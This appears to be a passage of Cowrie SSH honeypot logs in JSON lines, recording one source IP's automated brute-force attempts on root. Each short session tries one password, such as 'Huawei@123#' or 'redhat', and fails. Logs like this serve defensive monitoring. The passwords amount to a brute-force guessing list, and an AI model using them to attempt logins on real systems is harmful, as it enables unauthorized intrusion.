{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:43.533192Z","src_ip":"60.165.124.241","session":"9048bd05745a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ@WSX","message":"login attempt [root/1qaz2wsx!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:44.250884Z","src_ip":"60.165.124.241","session":"9048bd05745a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:45.498331Z","src_ip":"60.165.124.241","session":"9048bd05745a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48972,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e8a6fe2cf4f","protocol":"ssh","message":"New connection: 60.165.124.241:48972 (10.17.0.5:22) [session: 0e8a6fe2cf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:45.734720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:45.739444Z","src_ip":"60.165.124.241","session":"0e8a6fe2cf4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:45.977636Z","src_ip":"60.165.124.241","session":"0e8a6fe2cf4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r!!","message":"login attempt [root/1q2w3e4r!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:47.256189Z","src_ip":"60.165.124.241","session":"0e8a6fe2cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:48.505491Z","src_ip":"60.165.124.241","session":"0e8a6fe2cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52332,"dst_ip":"10.17.0.5","dst_port":22,"session":"763c701fe6b8","protocol":"ssh","message":"New connection: 60.165.124.241:52332 (10.17.0.5:22) [session: 763c701fe6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:48.746240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:48.750458Z","src_ip":"60.165.124.241","session":"763c701fe6b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:48.998946Z","src_ip":"60.165.124.241","session":"763c701fe6b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123#","message":"login attempt [root/Huawei@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:49.740523Z","src_ip":"60.165.124.241","session":"763c701fe6b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:50.988991Z","src_ip":"60.165.124.241","session":"763c701fe6b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55314,"dst_ip":"10.17.0.5","dst_port":22,"session":"16e81b5c5da5","protocol":"ssh","message":"New connection: 60.165.124.241:55314 (10.17.0.5:22) [session: 16e81b5c5da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:51.251499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:51.255528Z","src_ip":"60.165.124.241","session":"16e81b5c5da5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:51.510723Z","src_ip":"60.165.124.241","session":"16e81b5c5da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root100","message":"login attempt [root/root100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:52.285338Z","src_ip":"60.165.124.241","session":"16e81b5c5da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:53.546607Z","src_ip":"60.165.124.241","session":"16e81b5c5da5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58296,"dst_ip":"10.17.0.5","dst_port":22,"session":"e38f4cf807d2","protocol":"ssh","message":"New connection: 60.165.124.241:58296 (10.17.0.5:22) [session: e38f4cf807d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:53.800098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:53.804777Z","src_ip":"60.165.124.241","session":"e38f4cf807d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:54.061083Z","src_ip":"60.165.124.241","session":"e38f4cf807d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master11","message":"login attempt [root/master11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:54.840479Z","src_ip":"60.165.124.241","session":"e38f4cf807d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:56.100865Z","src_ip":"60.165.124.241","session":"e38f4cf807d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33174,"dst_ip":"10.17.0.5","dst_port":22,"session":"f678c3862928","protocol":"ssh","message":"New connection: 60.165.124.241:33174 (10.17.0.5:22) [session: f678c3862928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:56.331117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:56.336007Z","src_ip":"60.165.124.241","session":"f678c3862928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:56.581209Z","src_ip":"60.165.124.241","session":"f678c3862928","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe@123","message":"login attempt [root/QWEqwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:57.322347Z","src_ip":"60.165.124.241","session":"f678c3862928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:58.569849Z","src_ip":"60.165.124.241","session":"f678c3862928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35994,"dst_ip":"10.17.0.5","dst_port":22,"session":"80b6a673fc56","protocol":"ssh","message":"New connection: 60.165.124.241:35994 (10.17.0.5:22) [session: 80b6a673fc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:58.813847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:58.818535Z","src_ip":"60.165.124.241","session":"80b6a673fc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:59.068702Z","src_ip":"60.165.124.241","session":"80b6a673fc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glen","message":"login attempt [root/glen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:59.813406Z","src_ip":"60.165.124.241","session":"80b6a673fc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:01.062760Z","src_ip":"60.165.124.241","session":"80b6a673fc56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39040,"dst_ip":"10.17.0.5","dst_port":22,"session":"9822063f3f92","protocol":"ssh","message":"New connection: 60.165.124.241:39040 (10.17.0.5:22) [session: 9822063f3f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:01.338123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:01.343137Z","src_ip":"60.165.124.241","session":"9822063f3f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:01.605721Z","src_ip":"60.165.124.241","session":"9822063f3f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:02.404140Z","src_ip":"60.165.124.241","session":"9822063f3f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:03.669308Z","src_ip":"60.165.124.241","session":"9822063f3f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42102,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47675583a17","protocol":"ssh","message":"New connection: 60.165.124.241:42102 (10.17.0.5:22) [session: d47675583a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:03.889430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:03.894212Z","src_ip":"60.165.124.241","session":"d47675583a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:04.141795Z","src_ip":"60.165.124.241","session":"d47675583a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2018.com.CN","message":"login attempt [root/2018.com.CN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:04.878109Z","src_ip":"60.165.124.241","session":"d47675583a17","protocol":"ssh"}
